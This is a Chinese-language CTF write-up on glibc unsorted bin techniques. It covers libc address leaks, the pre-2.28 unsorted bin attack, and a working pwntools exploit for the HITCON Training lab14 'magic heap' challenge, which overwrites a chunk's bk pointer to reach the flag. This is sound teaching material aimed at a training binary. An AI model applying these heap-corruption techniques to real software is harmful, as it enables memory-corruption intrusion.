当前位置: 首页 > news >正文

Unsorted bin

Pre

关于 unsorted bin 的一些技巧:

  • leak libc_baseunsorted bin 链表头的 bk 和链表尾的 fd 都是指向的 main_arena,而 main_arenalibc 段上,通过 uaf 或者 overflow 的方式泄露其指针进而泄露 libc_base

  • 绕过 tcache 分配 chunkunsorted bin 或者 small bin ,利用 unsorted bin 在仅有一个 chunk 的情况下,分配时可能会对其进行切分的性质,切出所需大小的 chunk 然后分别给其他 bin 或者留在 unsorted bin

... (待补充)

unsorted bin attack

2.28 版本前,对从 unsorted bin 的链表尾拿出 chunk 分配的这一解链操作没有任何检查,然而在 2.28 及以后添加了链表完整性检查:

if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在此我们讨论 2.28 版本之前利用 unsorted bin 的攻击手法。

解链后会有这样的操作:

            unsorted_chunks(av)->bk = bck;bck->fd = unsorted_chunks(av);

由此我们可以看到 bck->fd 会被赋值为 main_arena 上的一个地址,同时该操作与拿出来的 victim->fd 没有任何关系。

unsorted bin attack 就是通过控制在 unsorted bin 中的 chunkbk 值,实现向某个地址 target 上写入一个极大值。

更进一步,若你能控制 &target->bk->fd 为一个可写地址,则可以直接 alloctarget 地址,若无法控制且该地址是不可写的,则在拿出 target 之后,进行 bck->fd = unsorted_chunks(av); 时会报错。

HITCON Training lab14 magic heap

unsorted bin attack 的模板题

edit 函数存在 overwrite,需要修改 magic 为一个大于 0x1305 一个数来 get flag

利用 overwrite 把一个 unsorted bin chunkbk 覆盖为 magic_addr-0x10,那么下一次在 unsorted bin 中拿 chunk 时,magic_addr 上面就会写上一个 libc 段地址,这显然是大于 0x1305的。

from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
magic_addr = 0x6020C0def create(size,content):io.sendafter(b'Your choice :',b'1')io.sendafter(b'Size of Heap :',str(size).encode())io.sendafter(b'Content of heap:',content)io.recvuntil(b'SuccessFul')
def delete(index):io.sendafter(b'Your choice :',b'3')io.sendafter(b'Index :',str(index).encode())io.recvuntil(b'Done !')
def edit(index,size,content):io.sendafter(b'Your choice :',b'2')io.sendafter(b'Index :',str(index).encode())io.sendafter(b'Size of Heap :',str(size).encode())io.sendafter(b'Content of heap :',content)io.recvuntil(b'Done !')
def get_flag():io.sendafter(b'Your choice :',b'4869')io.interactive()
def Exploit():create(0x10,b'a')create(0x80,b'b')create(0x10,b'c')delete(1)payload = b'a'*0x18+p64(0x91)+b'b'*0x8+p64(magic_addr-0x10)edit(0,len(payload)+1,payload)create(0x80,b'd')get_flag()
if __name__ == '__main__':Exploit()

2016 0CTF zerostorage

咕咕咕

http://www.jsqmd.com/news/444397/

相关文章:

  • ELK
  • 计算机网络学习笔记
  • 哪家保险经纪公司重疾险好?元保用实力给出最优答案 - 速递信息
  • MAS多智能体系统:从入门到实战的全方位解析
  • 深入解析:【C++】C++智能指针
  • ★★枚举法求最大公约数
  • 完整教程:2026年阿里云五种方案快速部署 OpenClaw(Clawdbot)详细教程
  • 【攻防世界】Whisper
  • kotlin基础(3)
  • 提示工程架构设计实战:法律领域智能问答提示系统架构设计案例
  • 2026,会有奇迹!
  • 2026 年 3 月 企业 GEO 服务对接:上海智推时代官方联系方式全汇总 - 速递信息
  • 2026 年 3 月 上海智推时代:官方正规联系渠道与合作对接指南 - 速递信息
  • 上海智推时代 GEO 官方联系方式整理,助力高效商务对接 - 速递信息
  • 目前最好的重疾险排名(2026最新版),爆款产品凭实力上榜 - 速递信息
  • 护发精油排行榜前十名推荐,推荐哪个牌子?2026权威榜单解析! - 速递信息
  • 2026 年 3 月大连 AI 优化公司推荐 Top5:技术深度落地到环渤海企业增长选型指南 - 速递信息
  • 2026 年 3 月长沙 GEO 优化公司 TOP5:场景技术适配到长株潭产业增长的选商逻辑 - 速递信息
  • 2026 年青岛 GEO 优化服务商 Top5:语义理解精度到胶东区域获客效果核心遴选 - 速递信息
  • 互联网保险公司有哪些?2026年热门平台盘点 - 速递信息
  • 千元内买什么磁轴键盘?2026 十大排名推荐迈从成首选 - 速递信息
  • 智能出水桩让灌溉告别守夜人,华测导航用科技重新定义浇地方式 - 速递信息
  • 哪些AI写作工具写的论文查重率最低?实测数据告诉你
  • “自感”的揭示:一个思想史的必然事件
  • APUE笔记:Thread Control(十二) - Invinc
  • 超全汇总!2026年最新十大设计师、美工、运营设计素材网站推荐 - 品牌2026
  • IsoAlgo管道轴测图引擎-导出PDF
  • Lucene与Elasticsearch如何具体协作?
  • 文明6mod制作(2) - 详解
  • 详细介绍:深入剖析云原生Service Mesh数据平面Envoy核心架构:基于xDS协议与WebAssembly实现动态流量管理与安全策略的微服务治理实战指南